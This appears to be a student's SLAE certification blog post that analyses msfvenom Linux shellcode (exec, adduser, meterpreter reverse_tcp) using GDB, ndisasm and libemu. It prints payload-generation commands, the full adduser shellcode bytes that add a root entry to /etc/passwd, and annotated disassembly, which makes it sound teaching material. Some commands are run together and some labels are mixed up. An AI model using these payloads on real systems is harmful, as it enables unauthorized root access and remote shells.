x86 SLAE — Assignment 5: Shellcode Analysis

Adam
5 min readNov 16, 2019

--

The fifth assignment for the x86 SLAE examination is to perform shellcode analysis for various msfvenom payloads. The payloads that were chosen (and the tools that they will be analyzed with) are below:

  • linux/x86/exec with GDB
  • linux/x86/adduser with ndisasm
  • linux/x86/meterpreter/reverse_tcp with libemu

linux/x86/exec (GDB)

The first msfvenom payload that will be examined is linux/x86/exec. Which will be reviewed through the lens of GDB. To start assessing it, the payload needs to be created. To start execute the following:

msfvenom -p linux/x86/exec CMD=id -f c

Copy the shellcode into a C harness, compile it, and have GDB walk through it:

gcc -m32 -fno-stack-protector -z execstack -o harness harness.cgdb -q ./harness

After stepping through the initial few instructions, eventually the debugger will get to the shellcode. Type disas to disassemble the function.

The shellcode is incomplete, it’s missing some of the required instructions (such as an int 0x80 to actually call the system call). But none-the-less, the observable instructions are indicated below:

push   0xb            ; move 0xb onto the stack
pop eax ; move 0xb into eax
cdq
push edx ; moving 0x00 onto stack
pushw 0x632d ; pushing "-c" to the stack
mov edi,esp ; moving pointer to "-c" into edi
push 0x68732f
push 0x6e69622f ; moving "/bin/sh -c" to stack
mov ebx,esp ; moving pointer to "/bin/sh -c" to ebx
push edx
call 0x56559060 <code+32>
imul esp,DWORD PTR [eax+eax*1+0x57],0xcde18953
add BYTE PTR [eax],0x0

In other words, the shellcode is performing the following C function:

execve("/bin/sh", ["/bin/sh", "-c", "id"], 0x00)

linux/x86/adduser (ndisasm)

The second msfvenom payload that will be examined is linux/x86/exec. Which will be parsed with ndisasm. ndisasm converts the shellcode back to human-readable assembly instructions. To start assessing it, the payload needs to be created. To start execute the following:

msfvenom -p linux/x86/adduser USER=test PASS=test -f c

There’s no need for a C harness for this shellcode, it can be piped directly to ndisasm with echo:

echo -ne ""\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x22\x00\x00\x00\x74\x64\x73\x74\x3a\x41\x7a\x35\x51\x36\x50\x70\x47\x77\x64\x4b\x57\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd\x80" | ndisasm -u -

Leveraging the ndisasm’s output, the following can be observed through reading the newly discovered assembly instructions:

; setreuid(0, 0);
push byte +0x46 ; push 0x46 to stack
pop eax ; pop 0x46 into eax
int 0x80 ; executes system call setreuid
; open("/etc//passwd", 0x401, 0);
push byte +0x5 ; push 0x5 to stack
pop eax ; pop 0x5 to stack
xor ecx,ecx ; zeroes out ecx
push ecx ; push null byte to stack
push dword 0x64777373
push dword 0x61702f2f
push dword 0x6374652f ; push /etc//passwd to stack
mov ebx,esp ; move pointer to /etc//passwd to ebx
inc ecx ; set ecx to 1
mov ch,0x4 ; set ch to 0x4 making ecx equal 0x401
int 0x80 ; executes system call open
; write(<file descriptor from open()>, <new user>, <total bytes>)
xchg eax,ebx ; moves result from open() into ebx
call 0x4d ; create loop to start building new user
; string
jz 0x92
jnc 0xa3
cmp al,[ecx+0x7a]
xor eax,0x70503651
inc edi ; increasing edi (number of bytes to write)
ja 0x9e
dec ebx ; decrease the file descriptor value
push edi ; moving current # total bytes to stack
arpl [edx],di
xor [edx],bh
xor [edx],bh
cmp ch,[edi]
cmp ch,[edi]
bound ebp,[ecx+0x6e]
das
jnc 0xb4
or bl,[ecx-0x75]
push ecx ; pushes address of new user string to
; stack
cld
push byte +0x4 ; push 0x4 to stack
pop eax ; mov 0x4 to eax (sys_write)
int 0x80 ; executes system call write
; exit(1);
push byte +0x1 ; pushing 0x1 to the stack
pop eax ; moving 0x1 into eax (sys_exit)
int 0x80 ; executes sys_exit

From the shellcode analysis above, it’s clear that a couple things are missing (such as the USER and PASSWORD that were configured). Regardless, the tool provides a summary of the actions that are performed when the shellcode executes. These actions are as follows:

  1. setreuid(0, 0);
  2. open(“/etc//passwd”, 0x401, 0);
  3. write(<file descriptor from open()>, <new user string>, <total bytes>)
  4. exit(1);

linux/x86/meterpreter/reverse_tcp (Libemu)

The last shellcode to be examined will be linux/x86/meterpreter/reverse_tcp.To perform shellcode analysis with libemu, it needs to be installed first. On a Debian system, execute the following to install the software.

sudo apt-get install build-essential git-core autoconf libtool python-devwget https://github.com/buffer/libemu/archive/v1.0.1.tar.gztar xvf v1.0.1*cd libemu*autoreconf -v -i./configure --enable-python-bindings --prefix=/opt/libemusudo make install

With the libemu installed, browse to the following directory and test that the tool we need (sctest) can be executed. After running the executable with no arguments the output will be “verbose = 0”.

cd ./tools/sctest./sctest 
verbose = 0

With libemu up and running, shellcode can be passed to it. For this example the “linux/x86/exec” payload will be used. This payload executes an arbitrary command. To make it simple the command “id” is leveraged. With the payload configured, it will then be piped to “sctest” which will attempt to convert it back into C (or some C-like language). To perform this, execute the following:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=1234 -f raw | ~/libemu-1.0.1/tools/sctest/sctest -vvv -Ss 10000

Similar to the previous shellcode examples, some instructions are missing but the general behaviour of the code can be pieced together below. The reverse_tcp shellcode creates a socket, then connects to a given IP and port. What’s missing here is two things, a redirection of file descriptors, and the resulting shell execution of commands. In any case, the following is what has been identified through libemu:

If there’s anything I learned from this lesson it’s that MSFVenom cannot be relied upon for even the most basic shellcode… How did I pass the OSCP with it?!

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert

Student ID: PA-11200

The source code for this assignment can be found here.

--

--

Adam

Security consultant | Web, telecom, IoT security